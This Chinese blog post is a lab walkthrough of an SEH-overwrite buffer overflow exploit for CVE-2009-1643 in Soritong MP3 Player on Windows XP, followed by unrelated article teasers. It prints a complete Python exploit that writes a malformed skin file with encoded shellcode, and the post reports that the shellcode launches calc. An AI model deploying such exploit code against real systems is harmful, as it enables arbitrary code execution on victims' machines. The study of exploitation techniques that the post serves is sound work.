CVE:2009-1643--SEH Exploit实战

一、CVE:2009-1643漏洞说明

存在漏洞的程序为Soritong Mp3 Player 1.0,使用畸形的.m3u或是UI.TXT文件可以引发栈溢出,使用SEH攻击可以成功对漏洞进行利用。

exploit-db连接:https://www.exploit-db.com/exploits/9560/

二、环境与工具

  1. 环境:windows xp sp3
  2. 工具:ImmunityDebugger+ python

三、SEH Exploit 简要介绍

本文不打算对SEH进行详细的介绍,这里只是简要说明一下SEH exploit的原理。

SEH Exploit的核心思想

SEH Exploit的核心思想在于使用某种方法修改栈中存储的SEH,然后触发异常,系统根据栈中的SEH结构处理异常时,会去执行SE Handler指向的函数,经过精心布置的SEH最终将控制权交给shellcode。

SEH在栈中的存储




pop pop ret技术

我们可以利用栈溢出或是堆溢出去修改SEH,那么我们如何修改SEH才能将控制权交给shellcode呢?
经典的Jmp esp方法利用了esp寄存器对于栈中特定位置的稳定的指向性,为exploit稳定性提供了有效保障。利用相同的思路,如果异常发生时,有某个寄存器指向可以被控制的地址,那么理论上我们也可以利用jmp reg的方法跳转到shellcode,但是,在windows xp sp1后,微软新增了XOR机制,该机制会在异常触发后,将所有寄存器清零,直接导致jmp reg方法的失效。
经典的解决方案是pop pop ret技术,异常发生时操作系统会call SE handler,SE handler的参数依次为pExcept,pFrame,pContext,pDispatch,其中第二个参数pFrame指向栈中的SEH,cpu进入SE handler时的栈布局如图:





pop pop ret原理在于,第一次pop时弹出ret address,第二次pop时弹出pExcept,最后ret时会使cpu跳转到pFrame的地址去执行,也就是将控制权交到了next SEH域,而next SEH的内容是可控的,只需要一条short jmp跳转指令即可跳转到shellcode去执行。
下面这张图很好的描述了这个过程:




典型的SEH exploit payload如下图:




四、漏洞初探

首先使用python脚本生成畸形的UI.txt文件


    path ="C:\Program Files\SoriTong\Skin\Default\UI.txt"
    buffer ="\x41"*5000
    fp = open(path,"w")
    fp.write(buffer)
    fp.close()


使用调试器加载SoriTong.exe,在0x422E33处触发异常,设置断点,重新运行,断在0x422E33进行观察:





简单分析一下代码:这里是一个循环,功能是将ESI寄存器所指向的字符串复制到栈中的以0x12FB1C为首的缓冲区中,复制结束的标志是遇到字符0x0D、0x0A、0x00,字符串中的内容就是UI.TXT中的内容,如果其中没有标志结束的字符,那么将永远复制下去,直到复制到地址0x130000触发异常,这个地址位于只读的段空间。

再观察一下SEH链,最近的SEH位于0x12FD64,这就是我们的覆盖目标。



五、payload组织

根据以上的分析,组织的payload如下

说明:

  • padding buffer的长度=0X12FD64 - 0X12FB1C = 0X248 = 584
  • next SEH域:short jmp的opcode为 \xEB,06指明跳到下一条指令地址+6的位置执行,两个\x90和4字节地址
  • 最后的junk buffer是为了触发异常

六、查找pop pop ret

一切就绪,就差pop pop ret的地址了,使用immunity debug的search插件可以轻松做到:

!search pop r32\npop r32\nret

查找结果有很多,节选部分,为了保证payload的稳定性,从SoriTong的Player.dll中选取一个,选的时候要注意bad char:00、09、0d、0a,最终选取0x10010BF2




七、生成最终的payload


 1     #!/usr/bin/python
 2     path ="C:\Program Files\SoriTong\Skin\Default\UI.txt"
 3     buffer ="\x41"*584
 4     next_seh ="\xEB\x06\x90\x90"
 5     se_handler ="\xF2\x0B\x01\x10"
 6     junk ="\x90"*1000
 7     shellcode =("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
 8     "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
 9     "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
10     "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
11     "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
12     "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
13     "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
14     "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
15     "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
16     "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
17     "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
18     "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
19     "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
20     "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
21     "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
22     "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
23     "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
24     "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
25     "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
26     "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
27     "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
28     "\x4e\x36\x43\x46\x42\x50\x5a")
29     buffer += next_seh + se_handler + shellcode + junk
30     fp = open(path,"w")
31     fp.write(buffer)
32     fp.close()

八、shellcode成功执行

使用调试器打开SoriTong,出现异常时,可以观察到SEH被预期数据覆盖





继续运行程序,会弹出计算器





来自为知笔记(Wiz)

时间: 2024-08-18 00:24:10

CVE:2009-1643--SEH Exploit实战的相关文章

在云计算资源池上自动部署业务应用的大数据平台组件开发实战

在云计算提供的分布式资源池构建能够自动部署业务应用的平台组件,该平台组件能够非常简易的被众多的并发终端使用,从而轻而易举的提供业务支持: 尤其是值得注意的是,如果有需要的话,我们的不同业务组件和业务本身可以发生数据和资源的共享,这对于资源和数据的复用,尤其是对于效率的提升是至关重要的.         课程介绍   基于“在资源池上自动部署业务应用的平台组件”的要求,课程包含Spark的架构设计.Spark编程模型.Spark内核框架源码剖析.Spark的广播变量与累加器.Shark的原理和使用

实战Django:简易博客Part1

舍得学习新技能的时候,通常不喜欢傻读书--捧着一本阐述该项技能的书籍,然后傻看,一路看下来,脑子里塞满了新的概念.知识点,头是越来越大,但技能却几乎没掌握半分. 多年来,舍得养成了用做实例来学习新技能的习惯.这可不是舍得的独创,在象棋.围棋界中,历来有"打谱"一说,就是根据棋谱,把一步步棋摆出来,在打谱的过程中,去感悟.去吸收,此时感悟到的.吸收进的,才是属于你自己的东西.新的技能就这样一步步发展起来,逐渐壮大. 就象Django官方文档那样,一个实例看起来很简单,但作为初学者,用&q

《图解Spark:核心技术与案例实战》介绍及书附资源

本书中所使用到的测试数据.代码和安装包放在百度盘提供 下载 ,地址为https://pan.baidu.com/s/1o8ydtKA 密码:imaa 另外在百度盘提供本书附录  下载 ,地址为http://pan.baidu.com/s/1o7Busye 密码:shdf 为什么要写这本书 在过去的十几年里,由于计算机普遍应用和互联网的普及数据呈现了爆发式增长,在这个背景下Doug Cutting受到谷歌两篇论文(GFS和MapReduce)的启发下开发Nutch项目, 2006年Hadoop脱离

CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

catalog 1. Description 2. Analysis 3. POC 4. Solution 1. Description MultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infini

Spark视频第5期:Spark SQL架构和案例深入实战

Spark SQL架构和案例深入实战 视频地址:http://pan.baidu.com/share/link?shareid=3629554384&uk=4013289088&fid=977951266414309 王家林老师(邮箱:[email protected] QQ: 1740415547) Spark亚太研究院院长和首席专家,中国目前唯一的移动互联网和云计算大数据集大成者. 在Spark.Hadoop.Android等方面有丰富的源码.实务和性能优化经验.彻底研究了Spark从

面向Web Cloud的HTML5 App开发实战:Browser&HTML5&CSS3&PhoneGap&jQuery Mobile& WebSocket&Node.js(2天)

如何理解Android架构设计的初心并开发出搭载Android系统并且具备深度定制和软硬整合能力特色产品,是本课程解决的问题. 课程以Android的五大核心:HAL.Binder.Native Service.Android Service(并以AMS和WMS为例).View System为主轴,一次性彻底掌握Android的精髓. 之所以是开发Android产品的必修课,缘起于: 1,     HAL是Android Framework&Application与底层硬件整合的关键技术和必修技

Android软硬整合设计与框架揭秘: HAL&Framework &Native Service &App&HTML5架构设计与实战开发

掌握Android从底层开发到框架整合技术到上层App开发及HTML5的全部技术: 一次彻底的Android架构.思想和实战技术的洗礼: 彻底掌握Andorid HAL.Android Runtime.Android Framework.Android Native Service.Android Binder.Android App.Android Testing.HTML5技术的源泉和精髓等核心技术,不仅仅是技术和代码本身,更重要的是背后的设计思想和商业哲学. 一.课程特色 l  贯通And

小白日记15:kali渗透测试之弱点扫描-漏扫三招、漏洞管理、CVE、CVSS、NVD

发现漏洞 弱点发现方法: 1.基于端口服务扫描结果版本信息,比对其是否为最新版本,若不是则去其 官网查看其补丁列表,然后去逐个尝试,但是此法弊端很大,因为各种端口应用比较多,造成耗时大. 2.搜索已公开的漏洞数据库,但数量大. ##其中会有漏洞利用代码,如:https://www.exploit-db.com/ [kali集成] [email protected]:~# searchsploit tomcat -------------------------------------------

spark视频-Spark SQL架构和案例深入实战

Spark亚太研究院决胜大数据时代公益大讲坛第五期:Spark SQL架构和案例深入实战,视频地址:http://pan.baidu.com/share/link?shareid=3629554384&uk=4013289088&fid=977951266414309 王家林老师(邮箱:[email protected] QQ: 1740415547) Spark亚太研究院院长和首席专家,中国目前唯一的移动互联网和云计算大数据集大成者. 在Spark.Hadoop.Android等方面有丰